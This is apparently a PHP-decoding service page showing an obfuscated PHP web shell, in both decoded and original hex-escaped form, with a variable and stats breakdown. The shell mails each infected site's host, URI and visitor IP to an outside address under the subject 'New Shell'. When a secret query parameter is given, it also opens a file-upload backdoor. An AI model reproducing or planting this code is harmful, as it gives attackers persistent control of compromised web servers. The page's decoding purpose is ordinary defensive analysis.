Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4cO\x42A\x4c\x53"}["\x6avk\x70\x74s\x6b\x74x"]="xse\x63\x74ea\x6d";${"G\x4c..

Decoded Output download

<?php ${"GLOBALS"}["jvkptsktx"]="xsecteam";${"GLOBALS"}["qcarjnhyog"]="xsec";${"GLOBALS"}["ejmtdir"]="send";${"GLOBALS"}["ijpczjrmehso"]="header";${"GLOBALS"}["kopfvl"]="random";${"GLOBALS"}["xrwhymhc"]="send";$zhdcllcln="xsec";$uvbopu="subject";${"GLOBALS"}["wzhgfiwmuf"]="msg";$ovcizehgvn="subject";${"GLOBALS"}["fnwxrlmni"]="file";$feiehxh="ip";${$feiehxh}=$_SERVER["REMOTE_ADDR"];${${"GLOBALS"}["fnwxrlmni"]}=$_SERVER["REQUEST_URI"];${"GLOBALS"}["ltlyrfivmu"]="msg";$host=$_SERVER["HTTP_HOST"];${${"GLOBALS"}["wzhgfiwmuf"]}="$host$file  -  $ip";${${"GLOBALS"}["xrwhymhc"]}="[email protected]";${${"GLOBALS"}["kopfvl"]}=rand(1,99999);${$uvbopu}="New Shell |$random";${${"GLOBALS"}["ijpczjrmehso"]}="From:BlackRoot <[email protected]>";@mail(${${"GLOBALS"}["ejmtdir"]},${$ovcizehgvn},${${"GLOBALS"}["ltlyrfivmu"]},${${"GLOBALS"}["ijpczjrmehso"]});${$zhdcllcln}=$_GET["xsec"];if(${${"GLOBALS"}["qcarjnhyog"]}=="team"){${"GLOBALS"}["bnkpokomwi"]="xsecshell";$yvtofgjcl="xsecshell";${$yvtofgjcl}=$_FILES["file"]["name"];${${"GLOBALS"}["jvkptsktx"]}=$_FILES["file"]["tmp_name"];echo"<form method='POST' enctype='multipart/form-data'>
 <input type='file'name='file' />
 <input type='submit' value='Upload' />
</form>";move_uploaded_file(${${"GLOBALS"}["jvkptsktx"]},${${"GLOBALS"}["bnkpokomwi"]});} 
?>

Did this file decode correctly?

Original Code

<?php ${"\x47\x4cO\x42A\x4c\x53"}["\x6avk\x70\x74s\x6b\x74x"]="xse\x63\x74ea\x6d";${"G\x4c\x4fB\x41\x4c\x53"}["\x71c\x61\x72\x6an\x68\x79og"]="\x78s\x65\x63";${"\x47L\x4f\x42\x41\x4c\x53"}["ejm\x74\x64\x69r"]="se\x6e\x64";${"\x47\x4c\x4fB\x41\x4c\x53"}["i\x6a\x70c\x7aj\x72\x6de\x68\x73\x6f"]="\x68\x65\x61\x64e\x72";${"\x47\x4c\x4fBA\x4c\x53"}["\x6b\x6f\x70fvl"]="\x72\x61\x6edom";${"\x47\x4c\x4fB\x41\x4c\x53"}["x\x72\x77hy\x6d\x68\x63"]="\x73\x65\x6ed";$zhdcllcln="\x78\x73\x65\x63";$uvbopu="\x73u\x62\x6a\x65\x63\x74";${"\x47\x4cO\x42\x41\x4cS"}["w\x7a\x68\x67\x66\x69\x77\x6d\x75\x66"]="\x6d\x73\x67";$ovcizehgvn="\x73\x75\x62\x6aec\x74";${"GLO\x42\x41L\x53"}["f\x6ewx\x72\x6cmni"]="f\x69\x6c\x65";$feiehxh="\x69\x70";${$feiehxh}=$_SERVER["\x52\x45\x4dOT\x45\x5f\x41\x44\x44\x52"];${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["f\x6ewx\x72\x6cm\x6e\x69"]}=$_SERVER["\x52E\x51UE\x53\x54\x5f\x55R\x49"];${"G\x4c\x4f\x42A\x4c\x53"}["\x6c\x74l\x79\x72\x66\x69\x76\x6du"]="\x6d\x73\x67";$host=$_SERVER["H\x54TP\x5f\x48O\x53T"];${${"G\x4c\x4f\x42\x41LS"}["\x77\x7ah\x67\x66i\x77m\x75\x66"]}="$host$file  - \x20$ip";${${"\x47LO\x42A\x4c\x53"}["x\x72\x77\x68\x79\x6dh\x63"]}="s\x70amm\x65r\x64\x7a2\x30\x40\x67m\x61\x69\x6c\x2e\x63\x6f\x6d";${${"GL\x4f\x42\x41\x4c\x53"}["\x6bo\x70fv\x6c"]}=rand(1,99999);${$uvbopu}="N\x65\x77 \x53h\x65\x6cl |$random";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x69\x6ap\x63\x7a\x6ar\x6d\x65\x68\x73\x6f"]}="F\x72o\x6d:\x42\x6cackRo\x6f\x74 \x3cn\x6f\x72epl\x79@\x76\x73sv.c\x6f\x6d>";@mail(${${"G\x4cO\x42\x41\x4c\x53"}["e\x6a\x6d\x74\x64ir"]},${$ovcizehgvn},${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6c\x74lyr\x66iv\x6d\x75"]},${${"\x47\x4c\x4fB\x41L\x53"}["i\x6a\x70\x63\x7a\x6ar\x6d\x65\x68\x73o"]});${$zhdcllcln}=$_GET["xs\x65c"];if(${${"\x47\x4cO\x42AL\x53"}["\x71c\x61rj\x6e\x68\x79\x6fg"]}=="\x74\x65am"){${"\x47\x4cOB\x41\x4cS"}["bn\x6b\x70\x6fk\x6fmw\x69"]="x\x73\x65c\x73\x68e\x6cl";$yvtofgjcl="\x78\x73\x65\x63\x73\x68\x65ll";${$yvtofgjcl}=$_FILES["f\x69l\x65"]["\x6e\x61\x6de"];${${"\x47\x4c\x4fB\x41\x4cS"}["\x6a\x76kp\x74s\x6b\x74\x78"]}=$_FILES["fi\x6c\x65"]["tmp_nam\x65"];echo"\x3c\x66\x6fr\x6d\x20m\x65\x74\x68\x6f\x64='POST\x27\x20enc\x74\x79pe=\x27\x6d\x75\x6ct\x69p\x61\x72t/f\x6f\x72\x6d-\x64at\x61\x27\x3e\n\x20<inpu\x74 t\x79pe\x3d\x27\x66\x69l\x65'n\x61me\x3d\x27f\x69\x6ce\x27\x20/>\n\x20\x3cinpu\x74\x20t\x79pe\x3d\x27\x73\x75bm\x69\x74' \x76\x61lue=\x27\x55pl\x6fa\x64\x27\x20/\x3e\n\x3c/\x66\x6frm\x3e";move_uploaded_file(${${"G\x4c\x4fBAL\x53"}["\x6a\x76kpts\x6b\x74x"]},${${"\x47\x4cOB\x41\x4c\x53"}["\x62n\x6b\x70\x6f\x6b\x6f\x6d\x77\x69"]});}
?>

Function Calls

rand 1

Variables

ip None
msg None0 - 0
file None
send [email protected]
$host None
$uvbopu subject
GLOBALS [{'key': 'jvkptsktx', 'value': 'xsecteam'}, {'key': 'qcarjnhyog', 'value': 'xsec'}, {'key': 'ejmtdir', 'value': 'send'}, {'key': 'ijpczjrmehso', 'value': 'header'}, {'key': 'kopfvl', 'value': 'random'}, {'key': 'xrwhymhc', 'value': 'send'}, {'key': 'wzhgfiwmuf', 'value': 'msg'}, {'key': 'fnwxrlmni', 'value': 'file'}, {'key': 'ltlyrfivmu', 'value': 'msg'}]
$feiehxh ip
$zhdcllcln xsec
$ovcizehgvn subject

Stats

MD5 41ce48483dfc1b47a75033e70f4d3cd2
Eval Count 0
Decode Time 101 ms